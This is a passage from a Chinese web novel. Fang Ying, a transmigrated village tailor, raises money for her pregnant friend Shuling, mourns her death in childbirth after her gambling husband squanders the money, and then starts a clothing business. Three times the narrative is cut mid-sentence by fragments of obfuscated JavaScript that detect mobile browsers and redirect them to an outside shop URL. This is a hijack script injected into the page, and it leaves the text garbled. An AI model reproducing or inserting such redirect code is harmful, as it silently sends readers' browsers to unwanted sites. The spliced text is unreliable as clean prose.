“而且我在台上,也是有分寸的。你所说的‘亲热’、‘暧昧’,绝对没有,也不可能有。”于穹笑了笑,“娟姐的老公离我不到三米远,就在旁边拉弦儿呢,我怎么敢对娟姐‘亲热’、‘暧昧’!” 方英意外,“娟姐的老公?” “乐队里拉二胡的那个,名字叫周野,就是娟姐的老公。”于穹讲道:“以前他们俩是一副架儿,唱得很好,在别的剧院还唱过大轴呢。” “两年前野哥甲状腺做手术,伤到声带唱不了了,才改拉胡琴儿。”他想了一下,“现在刚过完年,得说是去年了,去年春天他们来这家剧院找活,娟姐没搭档,那时候我以前的搭档也刚走,所以我们俩就凑一副架儿了。” “你以前的搭档是谁呀?”方英问道。 “咱们隔壁村的王香兰啊。”于穹有点诧异,“你也认得她的,不记得了吗?” “不记得了。那次落水之后,很多事情我都忘了。”方英对“王香兰”这个名字和这个人毫无印象,也没听盼儿枝枝提起过。 “哦,香兰和我同岁,也比你大两岁。”于穹说道:“她爸妈喜欢二人转,她也爱唱,前几年拜了我妈为师,经常来我们家学戏。”他回忆道:“我和香兰搭档,差不多有两三年的时间。” “去年春天她结婚了,嫁了个城里人。据说对方家里是有头有脸的人物,公公婆婆不愿意她在外面唱戏抛头露面,所以她就不再唱了。” 方英听完,脑补了一个青梅另嫁他人、竹马爱而不得的悲情剧本。她再次问出冒昧问题:“那你喜欢香兰吗?” “不喜欢啊!”于穹无奈,被气笑了,“小方英儿,你脑瓜里就只有男男女女情情爱爱那点事吗?” “无论娟姐还是香兰,我都只把她们当搭档,除了合作唱好戏没有其他的想法。”他似笑非笑地逗她:“就像你做裁缝,你的搭档应该是缝纫机,你也不会喜欢一台缝纫机、想嫁给缝纫机吧?” “哪有你这样比喻的?人和机器怎么能一样嘛!”方英固执地不服气道:“我感觉一男一女每天在一起唱戏,就是比较容易产生感情吧?再说了,很多的二人转一副架儿,生活中不都是夫妻么?” 于穹点头,“这倒也对,一副架儿是两口子的情况的确比较常见。两口子朝夕相处,排练比较方便,也会比较有默契,一起表演更放得开。” “我们这里是正规的绿色二人转剧院。”他神情复杂,无奈和鄙夷两相参半,缓缓说道:“外面有些不正规的场子,有的艺人为了讨生活,或者学艺不精走歪路,唱粉词儿、说脏口、讲荤素不忌的玩笑,那类糟粕表演估计只有真夫妻才豁得出去。” 他想了想,“至于你说的一副架儿日久生情走到一起,我认识的好几对都是那样,连我爸妈也是。” “不过我不会。因为对于我来说,唱戏就是唱戏。我唱戏的时候,不会动谈情说爱的心思,我只会想下一场怎么比这一场唱得更好,明天怎么比今天唱得更好。” 他躺在床上,睁眼望着天花板,清澈深邃的眼眸中含着希冀,“我只会想挣更多的赏钱;想我在这个舞台上,什么时候不仅可以唱热场小帽,还能有资格唱正戏、唱大轴;想我什么时候有机会去更大的剧院、登上更大的舞台……” 方英静静听着于穹诉说他的愿望,渐渐醒悟,原来她看轻了他,她低估了他对于事业的热爱和艺术的追求。 她执着地想要挖出一个类似白月光人物的存在,为他多年后的不婚找到一个俗气的理由。这一刻她意识到,或许他的人生本就是旷野和苍穹,自由奔跑,扶摇直上,不会受儿女情长的束缚。 夜晚静悄悄的,她的语调温柔而坚定,对他说道:“放心吧,你的梦想和期许,未来都会实现的。” 他面朝她侧卧着,轻声笑了笑,“你怎么知道?” 她也侧卧着面向他,对他微笑了一下,“我就是知道。” 第二天,方英扛着沉重巨大的布包回到村里。 接下来,她拉上盼儿枝枝一起,连续无休忙碌了二十多天,终于在正月底,将剧院要的这批戏服全部赶制出来,拜托于穹帮忙将戏服成品捎去剧院交货。 这天傍晚,于穹从城里回来,来到方英家。 “方婶,英子在家吗?” “小穹来了啊,”英子妈说道:“英子在她那屋呢。” 方英的房门敞开着,于穹仍然轻叩了两下门才走进屋。 方英见到于穹,既期待又有点紧张,眨着圆溜溜的眼睛问道:“怎么样?我做的戏服,郭大姐还满意吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242715|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于穹笑道:“郭大姐很满意,说你做的很好,还说以后如果剧院再定制戏服还找你来做。” 方英放下心来,露出舒心的笑,“满意就好,满意就好。” 于穹从口袋里拿出一卷钞票,“这是你的工钱,一共是163元,你数数。” “这么多啊!”方英眼中尽是欢喜,接过工钱清点。 这个年代最大的纸币面额是10元,这卷钞票有16张10元、3张1元,她查了两遍,一共是163元没错。 于穹看着她查完钱,“英子,钱送到了,那我回去了。” “等一下!”方英叫住于穹,她从木方柜里拿出一套叠放整齐的衣裤,是一件白色衬衫和一条黑色西裤,“我按之前给你量过的尺寸,给你做了一身衣服,当是感谢你给我介绍做戏服的活儿。” 她将衣裤捧到他面前,笑盈盈道:“送给你。” 于穹看着方英,一时晃神,他发现她的笑容如此温柔美好、明媚可爱,他在从前的方英脸上,从未见过这样的神态。 方英将衣裤向他递了递,示意他接过,“拿着吧,不要客气。” 于穹回过神,感动欣喜又受宠若惊。他接过全新的衣裤捧在手里,手指轻抚衬衫的面料,“这料子真好,的确良的吗?” 方英点了点头,“现在时兴的。” 于穹走后,她拿出之前帮村里人做衣服赚到的65元,和刚收到的163元放到一起,一共228元。 她数了一遍又一遍,笑得合不拢嘴,因为她终于为淑玲凑够了去城里医院生产的费用。 她坐在炕上笑着数钱时,母亲走进来,面色有点不悦,“傻乐啥呢?” 方英痴痴笑了两声,“没什么。” 英子妈纠结了一下开口:“英子,你跟妈说实话,你是不看上老于家那小子了?” 方英一怔,否认道:“妈,没有的事儿。” “那你干啥要给他做衣裳啊?” “我是裁缝,他帮我介绍挣钱的活,我给他做身衣服谢谢他,这也没什么吧。” 英子妈皱起眉,“你一个没嫁人的姑娘,他一个未娶妻的小伙儿,你送给他衣服,传出去别人会怎么想?他现在收了你的衣服,他心里会怎么想啊?” 方英呆呆道:“他会,怎么想?” 英子妈伸出手指,轻点了一下方英的额头,“傻孩子,他肯定会以为,你对他有意思呗!” 方英睁大双眼,“原来这年代送人衣服,这么敏感的吗?!” 她送他衣服,本意真的只是表达谢意,绝非传达爱慕。即便她心里,的确很欣赏他。 “也不是说多敏感,但你不该送他。”英子妈板着脸,“以后多注点意,和他保持距离。要是让他误会你想嫁给他,可就麻烦了。” “人家于穹事业心很强,没心思谈恋爱的。”方英垂下眼眸,脸颊微红,小声嘀咕道:“就算我有点喜欢他,他恐怕也看不上我……” 英子妈又惊又气,“方英子,你趁早断了那个念头!反正妈不许你嫁给穷人家!你……” 方英笑嘻嘻地打断道:“别说了妈,嫁不嫁的还远着呢!”她披起棉袄穿上棉鞋跑出门去,“我去找盼儿和枝枝!” 她将筹够钱的喜讯分享给了丘盼儿和鲁枝枝,并且和她们约好,明天一起去南屯,去给淑玲送钱。 11. 第11章 姐们儿小聚 这天天气很好,阳光明媚,照在身上暖融融的。道路上的积雪已经开化,不再像严冬时冻得那么坚硬,踩在上面宣软蓬松,有点陷脚。 方英和丘盼儿、鲁枝枝走了五六里地,来到南屯,来到李淑玲家的小土房。 她们一进屋,瞧见淑玲背靠着墙坐在炕上,腿上盖着被子,她身旁有一团毛线,手里拿着织针正在织孩子戴的小帽子。 三个人欢喜地唤道:“玲儿!” 淑玲看到她们,十分惊喜,“呀!你们咋来啦?” “今儿天暖和,我们过来看看你。”盼儿笑着说:“想你了,来找你玩呀!” “我也想你们!”淑玲清澈的月牙眼笑起来弯弯的,“快坐。” 方英关心道:“玲儿,最近身体感觉怎么样?”她看她的肚子,比之前又大了一圈。 “还好。”淑玲说道:“就是月份儿大了,身子发沉。” 枝枝在炕沿坐下,伸手摸了一把炕,“这炕咋这么凉啊!玲儿,你没烧炕吗?”她又摸了摸淑玲背靠的那面墙,“这火墙也不太热乎,你们家炉子不好烧吗?” “是、是柴禾不太够,所以烧得少。”淑玲面露一丝难堪和窘迫,“秋天没打多少柴回来,烧到现在剩不多了。” “柴禾不够就去树趟子捡枝子回来烧啊!”鲁枝枝气愤,“朱武干啥去了?怎么让你自己在家受冻?” 淑玲皱起眉头,无奈地说:“早上吃完饭,他就走了,不知道上哪玩去了。” 枝枝气不过,骂了一句:“这男的真操蛋!” 盼儿碰了碰枝枝的胳膊,对她使了个眼色,示意她别说。 方英心里也和枝枝同样恼怒,但她和盼儿一样没有发作,因为她知道,那样会加重淑玲的愁闷。 她从怀里掏出手绢包着的那228元钱,对淑玲露出柔和的笑,“玲儿,这里是两百二十八块钱,我和盼儿、枝枝一起凑的,”她轻轻拉过她的手,把钱塞到她手里,“你拿着,过些天去医院生孩子用。” 淑玲十分意外,目瞪口呆,“你们几个哪来这么多钱啊!?” “你还不知道呢,英子现在当裁缝了!”盼儿笑道:“从年前你回娘家走了之后,她就开始接裁缝活儿,没日没夜地给人做衣裳。” 鲁枝枝点了一下头,“英子老厉害了!手艺好,不光给咱村的人做衣服,还给城里的剧团做了一批戏服。” “你们俩别只顾着夸我,”方英笑着对盼儿和枝枝说:“这些天我做裁缝,你俩也一直在帮忙啊。” 淑玲拿着钱,感动又过意不去,“你们做衣服挣的钱,全给我了?”她抽出几张十元,想要给方英,“去城里生也用不了这么多,英子,你拿回去一部分……” 方英按住淑玲的手,“玲儿,都拿着,多拿点有备无患。”她温声叮嘱道:“要提前几天就去医院住着,请医生做检查,听医生的话,放松心情,生产的时候不要怕,产后买些补品吃。” 淑玲眼圈泛红,她看着方英、盼儿和枝枝,“好姐们儿,你们对我真好。”说完这话,一颗泪珠啪嗒掉落脸颊。 “咱们是好姐们儿嘛。”方英抬手帮淑玲拭去脸上的泪,温柔地安慰道:“玲儿,别哭。” 她打开带来的包袱,里面是一个各色布头拼接缝制的小被子,“这是我和枝枝、盼儿一起缝的百家被,等宝宝出生了,给宝宝盖。” “玲儿,我也给你拿东西了。”盼儿将带来的一网兜干菜放到炕上,笑吟吟道:“这是我去年晒的黄瓜钱儿,你泡泡炒着吃,挺清香的。” 枝枝挎来一个小筐,里面装着6个小笨鸡蛋,“玲儿,我家那几只小母鸡,被我养在外屋地,前几天竟然开始下蛋了!我攒了这6个,拿来给你吃。” 淑玲眨巴着眼睛,憋着眼泪看了方英、盼儿和枝枝几秒,随后大大张开双臂,搂住她们三个,和她们抱作一团,柔柔软软地小声哭泣起来。 听到淑玲哭,方英和盼儿一边安慰,一边跟着抹了眼泪。 鲁枝枝是一个坚硬刚强的姑娘,她从不哭哭啼啼,也不喜欢这种煽情催泪的情景。 “李小玲,你真爱哭,尿叽尿叽跟小孩儿似的。”她的语气有一丝不耐烦,轻轻拍拍淑玲的背,“行了行了,别趴我肩膀哭了,别把鼻涕蹭我这缎面褂子上。” 淑玲抬起头,睫毛还挂着泪,脸上却露出笑容,不服道:“人家没流鼻涕,只有眼泪!” 四个好姐们儿互相看看,一起笑出声来。 淑玲擦了擦脸,表情由雨转晴,“你们中午在这吃饭吧?把黄瓜钱和鸡蛋炒了,家里还有腌的咸肉和酸菜。”她掀开盖在腿上的被子,想要下炕,“我去给你们做饭!” “玲儿,你歇着别忙。”盼儿说道:“告诉我东西都在哪,我来做。” “对,让盼儿做饭就行了,她做饭好吃。”鲁枝枝对方英说:“英子,咱俩去树趟子,帮玲儿捡些枝子回来吧?” 方英点头,“好。” 四人分头行动,盼儿和淑玲留在家里做饭,方英和枝枝去到南屯的护屯林,在树趟子里捡树枝。 二人一人捡了一大抱树枝,背回淑玲家晾晒在院子里。 她们回来时,饭菜也已经做好,主食是苞米面饼,菜是黄瓜钱炒鸡蛋、酸菜炖咸肉片、还有一盘咸菜。 吃饭时,一人吃了一个小饼子,方英、盼儿和枝枝默契地各自只吃了一点咸菜,一直往淑玲碗里夹肉夹鸡蛋。 分别时,淑玲送三个好姐们儿走到大门外,她心里不舍,拉着方英的手眼泪又在打转。 方英轻拍淑玲的手,温柔安慰:“玲儿,别不开心,等你从医院回来,我们还来看你呢。” 盼儿撩了一下淑玲额前微微凌乱的碎发,“对,玲儿,你猫月子我们再来下奶。” 淑玲眼中含泪,挤出微笑,深深点了点头。 鲁枝枝受不了这种伤感的离别,扯了扯淑玲穿的旧灰袄的衣襟,帮她裹紧,“起风了别冻着,快回屋吧!” 她洒脱地说:“过些天就再见面了。咱们两个村子离得又不远,等你生完小孩,想我们随时抱孩子回去找我们玩。” 淑玲眼中闪烁起期待的光亮,终于露出灿烂可爱的笑,“嗯嗯!” 从南屯回来,方英如同了却了一桩心事,好好休息了几天,睡了几宿安稳觉。 二月二这天,方英在村道上,碰见鲁枝枝,“枝枝,你去哪呀?” “我去盼儿家。今天二月二,我找她帮我剪剪头发。”鲁枝枝说道:“她打理头发挺有一套的。” “英子,你剪不剪头发?剪的话跟我一起去找盼儿?” 方英捋了一下她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242716|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐肩的辫子,“我头发整体倒不用剪短,不过我想剪剪刘海儿。走吧我和你一起去!” 她们来到丘盼儿家,赶上盼儿正在外屋地洗头。旁边有三个年纪更小些的小女孩在蹦蹦跳跳玩闹,还有一个七八岁左右的小男孩,抱着一大块烀熟的猪头肉啃得满脸油渍麻花。 盼儿家是个大家庭,父母一共生了七个孩子,六个女孩一个男孩,名字依次是:丘求儿、丘招儿、丘盼儿、丘来儿、丘带儿、丘领儿、丘家宝。 盼儿是三姐,上面的大姐和二姐均已出嫁。 鲁枝枝敏锐地在窗台上发现一罐洗头膏,开盖拿到鼻子前闻了闻,“盼儿,这是洗发香波吧?你有这好东西咋不告诉我们,自己偷着用!” 盼儿有点尴尬地一笑,打哈哈道:“啊,这个是像我这种头发特别多的人用的,直发长发才需要用,英子头发不算太长,你的头发是自来卷,你们俩不需要用这个。” “你可真能扯!头发短、羊毛头也得洗头,也得护理呀!”枝枝大声问道:“你在哪买的?这一罐应该挺贵吧?” 正在灶前烧火的盼儿妈听见枝枝说话,叹了口气搭话道:“唉,这三姑娘就稀罕养长头发,乱花钱。”她的语气带有明显的埋怨和不满。 盼儿抬起头,嘟着嘴不高兴地瞪了枝枝一眼,鲁枝枝不好意思地吐了吐舌。 盼儿妈对鲁枝枝问道:“枝枝,你家养的老母猪,啥时候下小猪羔啊?” 枝枝:“快了,也就再过十天半个月,应该就能下了。” 盼儿妈:“噢,等断奶了我们家抓一只回来养。” “行啊。婶,今年我帮你挑。”鲁枝枝笑了笑说:“人家都说谁抓的猪随谁,我记得那年盼儿抓的小猪,不爱吃食喂不胖,后来跟她一样,长得精瘦。” 盼儿嗔怪道:“鲁枝枝你真烦人,就你上食儿就你胖行了吧!”她洗完了头发,用毛巾裹着擦干,对方英和枝枝问道:“你俩来找我干啥呀?” “今天不二月二么,枝枝来找你帮她剪头发,”方英微笑道:“我也想让你帮我修剪下刘海儿。” “好哇,没问题!”盼儿笑意盈盈,信心满满,“剪刘海儿容易。英子,我先剪你的,待会儿再剪枝枝的。” 方英在凳子上坐好,盼儿用梳子梳了梳她额前的刘海儿,比了比要留下的长度,下剪刀前又停住。 “英子,我看杂志上,那些电影明星梳的那种到脖子的蓬蓬发可好看了。”她端详着她的脸,“适合你的脸型,要不我帮你把后面也修短一点,给你剪个那样的吧?” 方英大致懂盼儿说的内扣梨花头,“那样的发型应该需要烫发吧?” “是的。”盼儿拿过一旁黑黢黢的铁质炉钩子,“我估计把这炉钩子烧红,用它烫应该就可以。” 方英眼中写满惊恐,一脸拒绝道:“不了不了不了!你还是简单帮我修剪一下刘海儿就可以了。” 盼儿悻悻然,“好吧。” 她再次拿起剪刀,正要剪方英的刘海,听到沉重而急促的奔跑脚步声,跺地闷响,由远及近。 一个人闯进门,是淑玲的父亲杀猪匠老李头。 老李头不知是急得还是冻得,满脸通红,眼角还有未干的泪痕,这个老人带着哭腔:“你们仨快到我家看看吧!淑玲快不行了,她想见你们……” 12. 第12章 崩溃与振作 老李头哭道:“小玲难产,在家快不行了!” 方英听到噩耗,心头猛地一震,又惊又怕变了脸色,“怎么会?她不是还有半个月才到预产期吗?怎么没去城里的医院生?” “别提了,都怪朱武那畜生……”老李头急道:“快跟我过去,小玲时间不多了!” 方英像多日前那个梦中一样,发疯般地和盼儿、枝枝一起狂奔到老李家。 老刘太太哭丧着一张脸,走出淑玲的小屋,“没救了。孩子胎位不正,头脚折在一起,坐生屁股先出来,生下来就没气了。” “在南屯让没经验的年轻产婆瞎折腾一通,又用老牛车拉到咱村来,大人的血都快流干了。”老刘太太摇了摇头,“不行了。” 方英和梦里一样,心脏剧痛,疼得快要窒息。 她强撑着挪动沉重的脚步,和盼儿、枝枝一起,走进淑玲的小屋。 她坐在她身边,看着她说不出话,汹涌的泪水夺眶而出,无声泪流满面。 淑玲躺在炕上,面色苍白如纸,睫毛无力地呼扇,像脆弱将碎的瓷娃娃。 她毫无血色的嘴唇颤抖开口:“英子,你给、我的钱……被他偷去赌,都输光了……” “今天早上,他又要、去耍钱,我跑出去追他,在路上、不小心摔倒……”她的声音断断续续,极其虚弱,可怜到令人心碎,“英子,我好疼、我怕……” “玲儿,别怕,我在……”方英泣不成声,紧紧握住淑玲的手,“我在这陪着你。” 盼儿和枝枝的手也握上来,哭着说道:“玲儿,好姐们儿,我们都在这陪着你。” “好姐们儿,一辈子的、好姐们儿……”淑玲那双月牙眼中的悲伤痛苦恍惚间隐去一瞬,浮现若有似无的笑意和希望,“下辈子,我也要、和你们……做好姐们儿。” 她说完这话,双眼缓缓闭上,再没睁开。 剩下的三个人守在淑玲身边,哭得撕心裂肺,肝肠寸断。 方英的悲痛比梦中更甚,仿佛心脏被利斧劈去一角,再也无法完整。她疼到发抖,耳朵都在轰鸣,天崩地裂,伤悲欲绝。 淑玲妈痛失爱女,无法接受,捶胸顿足,当场晕厥。老李头在一旁,一边掐人中,一边焦急呼唤,场面乱作一团。 在场的所有人,只有一个人是没有悲伤的,李淑玲的丈夫,孩子的父亲,朱武。 那个男人杵着一条瘸腿,重重地唉声叹气,并非难过,而是烦躁和懊恼。 “晦气!真他妈晦气!”他喃喃道:“好不容易娶个媳妇儿,这下大的没了,小的也没留下,百搭八百块钱彩礼……” “你说什么?!”方英怒火中烧,瞪着猩红的眼睛直直看向朱武,颤抖着厉声吼道:“都是因为你!因为你这个该死的耍钱鬼,淑玲才会没命!” 她冲上去死死抓住他的脖领子,用她能想到的最恶毒的话骂他,使出最大的力气疯狂狠扇他的耳光,数不清扇了多少下,扇得他脸颊红肿、扇得他鼻口飙血,也仍不停手。 这一刻,她理解了原本的方英。 她明白了,她不是生性野蛮粗鲁,是这个操蛋的世界,是一些操蛋的贱人,逼她发疯! “方英子,你疯了?”朱武抬手捂住脸,苦叫道:“你给小玲那两百块钱,我凑够还给你不就得了!” 方英的震惊冲淡愤怒,眼前这个男人对淑玲的死毫无悲伤,也无法理解她的悲痛,他竟然以为她打他骂他,是为了要被他赌输掉的那两百块钱。 她终于停下来,因为她扇他再多下耳光,骂他再多句狠话,也如隔靴搔痒、徒劳无功。就算把他打死,也难消心头之恨,也换不回淑玲和孩子。 她狠狠将朱武推开,推得他摔倒在地,“那两百二十八块钱,你当然得还,因为那是我给淑玲的救命钱,你不配花一分。” “限你两天时间,把钱凑齐找别人捎给我。”她面色严峻,冷冷警告道:“从今往后,别让我再见到你,否则我见你一次,打你一次。” 朱武狼狈地从地上爬起来,拖着瘸腿走了两步,却又停下,他凑到老李头面前,犹豫过后开口叫了一声:“爸,”停顿了一下,又改口道:“叔,你看现在小玲没了,也没给我留下孩子。” 他脸上挤出别扭难看的笑,“当初给您那八百块钱彩礼,您看能不能退给我?” 老李头听了这话,火冒三丈,暴跳如雷。他冲去厨房,抽出那把他用了多年的杀猪刀子,抵在朱武的脖颈上,咆哮道:“畜生,滚!你给我滚!!!” 朱武差点吓尿,那条好腿也被吓软,连滚带爬到院子里,赶着那架破烂的老牛车逃回了南屯。 经此一番,朱武与老李家闹僵,南屯朱家的人不愿来接淑玲入朱家祖坟。按照村里人一些封建的规矩,淑玲这种嫁过人又横死的姑娘,也不能埋入李家祖坟。 最后,在村外西边的小山上,找了一块空地,淑玲被埋在那,那个一下生就没了的孩子,用方英她们缝的百家被包着,埋在了淑玲身旁。 她虚岁才20岁,可爱灿烂的生命就这般悲凉收场。 淑玲的死,让方英深受打击。之后的一个月,她陷入消沉,做什么都提不起精神,常常没来由地流泪。 从前她是袁柔的时候,从没有过至交好友。她成为方英的时间不久,与淑玲相处的时光更是短暂,但她已经将她视作至交好友,不分你我的好姐们儿。 她预知她的悲剧,却未能改变她的结局。她看她香消玉殒,怎能不痛心疾首。 她想淑玲,但她的难过却不止是因为淑玲。 刚刚魂穿成19岁的方英时,她觉得她所处的时代很好,生活简单纯粹,没有快节奏高强度的工作,没有压榨PUA人的老板。 但她现在发现,这个时代的女孩们,也有难处,甚至远比袁柔那个时代的女孩们更加艰难。 这天一大清早,方英到村东头找到于穹。 “你今天进城吗?” 于穹点了点头,“去。有什么事吗?” “你能帮我,买五斤苹果捎回来吗?”方英从衣兜里掏出20块钱,交给于穹。 “五斤苹果,用不了这么多钱。” “价格不重要,一定要买最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242717|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大最红的。”她叮嘱道:“不要国光或者黄元帅,最好买红富士,又甜又脆的那种。” “好。”于穹有点纳闷,“英子,你买苹果,是自己想吃吗?” “不是的。”方英轻轻叹了口气,眼中浮现一抹伤感,缓缓说道:“过两天是玲儿的五七,我想买几个苹果,给她上坟当贡品。” 于穹眸光一颤,他看着她悲伤的神色心生不忍,想要说些安慰的话,一时间却不知从何开口,只是认真答应她道:“放心吧,我一定帮你买最好的苹果回来。” 第二天傍晚时分,方英独自一人,坐在村口的小河边。 太阳快要落山,金色的夕阳洒在清澈的河面上,波光粼粼。她望着远方发呆,思绪飘向迷茫的未来。 “叮铃叮铃”两声自行车铃响打断她的思绪,于穹下车朝她走过来,“英子,苹果帮你买到了。” 方英接过于穹手上的一袋红苹果和剩下的钱,对他说:“谢谢。” 他在她旁边坐下来,安静片刻后说道:“我们剧院有一个常去看戏的戏迷,他和他媳妇是做成衣生意的,两口子在城里开了个服装店,还经常去夜市和农贸市场摆摊卖衣服。” “他看过你给我做的衬衫,觉得你的手艺非常不错。他们开店摆摊需要大量的成衣往出卖,英子你是出色的裁缝,如果你愿意,可以跟他们谈谈合作,你做衣服定向卖给他们,再由他们对外销售。” 他对她温柔清爽一笑,“他们进货价不低,你可以挣到不少钱。” 方英没什么兴致,淡淡说道:“淑玲已经不在了,我再做裁缝挣钱,也没有意义。” 她望着河面,目光脆弱伤悲,破碎的泪溢出眼眶,滴滴滚落脸颊。 看见她掉眼泪,他心生不忍,也跟着难过。 他看着她沉默半晌,开口说道:“有意义。”他的语气坚定而认真,“淑玲不在了,还有很多的淑玲。” 方英诧异,眼中仍含着泪花,不解地望向于穹。 “这里贫穷落后,这里的年轻人没有出路。男人种一亩三分地,女人到了一定年纪,就去嫁一个男人。”于穹神情无奈,“你的好朋友淑玲不在了,但下一个淑玲,可能是你的好朋友丘盼儿、鲁枝枝……” 他深邃明亮的眼眸注视着她,眼神充满怜惜,“甚至,可能是你自己。” 方英变了脸色,他这一番言论,令她深深震动。她的悲伤有所收敛,好像突然紧张起来,同时,又充满斗志。 他继续说道:“不过,想找到出路解决困境,也有两个办法。” 她擦干眼泪,认真问:“有哪两个办法?” “要么改变自己,把自己变得更好,走出去离开这。”他停顿了一下,“要么,改变这里,把这里变得更好。” 他站起身,夕阳琥珀色的余晖映照在他脸上,他对她露出温暖笑意,“过几天,要和我进城吗?”他朝她伸出手,“我陪你一起,去和做服装生意的老板谈合作。” 她没有迟疑,将手搭在他的手上,“好,我去。” 他拉着她站起来,“那说定了。” 13. 第13章 缺钱 淑玲五七这天,方英和盼儿、枝枝一起,来到村外西山那座孤坟前,祭奠淑玲。 枝枝提来几沓黄纸,盼儿拿来亲手折的金元宝,方英带来苹果和一件棉袄。 苹果摆在坟前,烧完纸钱和元宝,方英将那件棉袄投入火中,轻轻念道:“玲儿,这是我给你做的棉袄,新里新面新棉花的,面上我绣了粉色的花,希望你喜欢。” 她眼中含泪,却没有落下,悲伤并未淡忘,只是趋于平静,渐渐习惯。 鲁枝枝心情也很沉重,但她看着摆在坟前的红苹果,咽了下口水,“英子,你带来的苹果看起来真好吃,我能吃一个吗?” “吃吧。”她拿起两个苹果,分别给枝枝和盼儿,自己又拿了一个,“玲儿不会介意。毕竟她有什么好吃的,都想着和咱们分享。” 盼儿低下头,捂着嘴巴呜呜哭出声来,方英的泪珠也终于夺眶而出,啪嗒啪嗒掉落。 枝枝最不爱哭,此刻也忍不住湿了眼角。她用力抹了一把脸,皱起眉不耐烦地对二人大声责怪道:“你们俩可真是的,能不能别哭了?” 方英和盼儿一起抬头看向枝枝,表情难过中带着柔弱的委屈和气恼。 “我真受不了你俩这副哭哭啼啼、囔囔踹踹的样子。”枝枝咬下一口甜脆的苹果,继续说道:“小玲儿本来就是哭吧精,她要是看到你俩这熊样,在那边肯定也跟着哭惨了!哄都哄不好!” 方英和盼儿看着枝枝几秒,又看向彼此,不约而同地忍俊不禁,挂着眼泪露出释然的笑。 方英吃着苹果,想到原本的方英、想到淑玲,又看向面前的盼儿和枝枝。 她暗暗下定决心,她要找到出路,为盼儿、为枝枝、也为自己。她要让她们的人生除了将就嫁人,拥有更多选择。 她一定要干一番事业,哪怕是小小的事业也好。 第二天,方英坐上于穹的自行车后座,去城里找做服装生意的老板商谈合作。 路旁的柳枝已经冒出嫩绿的新芽,春风和煦,吹在脸上清凉不燥。 土路有些颠簸,方英坐在后座,好几次伸手扶住于穹的腰侧,觉得不妥又快速拿开。 自行车轮滚过一个土块,车子再次颠簸,她再次下意识伸手轻搭上他的腰。 这一次,她的手被他抓住,拉到他身前按在肚子上。 “你要是想搂我,就好好搂着。”他的声音干净清澈,轻轻说道:“别一下搂一下不搂的,弄得我痒痒。” 她应了一声:“哦。” 她的手小心翼翼,没有乱动,但尽管如此,尽管隔着衣服,她好像都能摸到他紧实的腹肌。 他脚下生风,将车子蹬得更快,她坐在后座更觉颠簸,搂他搂得更紧,几乎靠在他的背上。 他们位置一前一后,她看不见他脸上得意窃喜的笑,他也看不到她脸蛋上泛起的娇羞红晕。 那家服装店门脸不大,朴素的牌子写着四个大字:“潮流服饰”。 店里空间非常拥挤,一排排各式各样的衣服裤子叠挂在一起,两排之间只留一个人侧身走过的宽度。 店铺的生意异常火爆。顾客多是二三十岁的年轻男女,在众多衣裤中翻找选购,找到合心意的,就从架子上摘下来,拿在身前比量,问问同行人的意见,和老板娘砍砍价,觉得合适就付钱拿下。 于穹带方英挤过狭小的过道,找到老板娘孙大姐,“忙着呢孙姐,这是我跟你提过的,我们村的小裁缝方英。” 方英打招呼道:“你好,孙姐。” 孙大姐四十多岁,体型富态,脖子上的粗金链子和耳朵上的大金耳环闪闪发亮。 “哎呀!把人领来了呀!”她笑容亲切,对方英道:“你好,老妹儿。” 一个小伙儿选中一条裤子,“老板娘,30太贵了,你便宜点呗!20行不?20我拿下!” “老弟呀!哪有你这么讲价的?!”孙大姐故作为难的样子,“20我上都上不来。” 她扯了一下小伙儿手上的牛仔裤,“这裤子抗刮抗磨,你就穿去吧!而且咱这是新式样的,你在外面百货大楼啥的,你买不着这么时髦的。” 她见小伙儿实在犹豫,接着说道:“得了,今天姐不挣钱了,进价25给你!拉你个回头客,就当给你捎的!” 小伙儿喜笑颜开,爽快掏钱,“谢谢姐,下次买衣服还来你这!” 看着小伙儿离开的背影,孙大姐微微一笑,其实,她这条牛仔裤的进货价,还不到15元。 她对方英介绍道:“我这店就是卖成衣,时髦新潮的衣服裤子,主要面向年轻人。” 她抬手指了指店里一排排的衣裤,“这批货是我们家你大哥,之前上南方进来的。货不错,就是跑南方制衣厂挑款,加上长途运货过来麻烦。” “我听小于说,你裁缝手艺非常好。”孙大姐笑着说:“这些流行款的衣服你要能做,做了成衣卖给我,价钱姐给你高高的,咱直接本地人合作,一起挣钱!” 方英扫视了一圈孙大姐店里的衣服,胸有成竹地说:“姐,这些蝙蝠衫、喇叭裤、港风衬衫、夹克风衣……我都会做,没问题。” 她心想,其实这个年代的时髦,便是袁柔那个年代的复古。时尚本是轮回,制作这些衣服,完全难不倒她。 